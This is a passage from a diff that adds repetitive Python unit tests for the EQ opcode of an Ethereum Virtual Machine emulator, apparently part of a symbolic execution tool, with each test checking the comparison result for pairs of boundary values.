+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_EQ_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_EQ_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_EQ_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_EQ_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
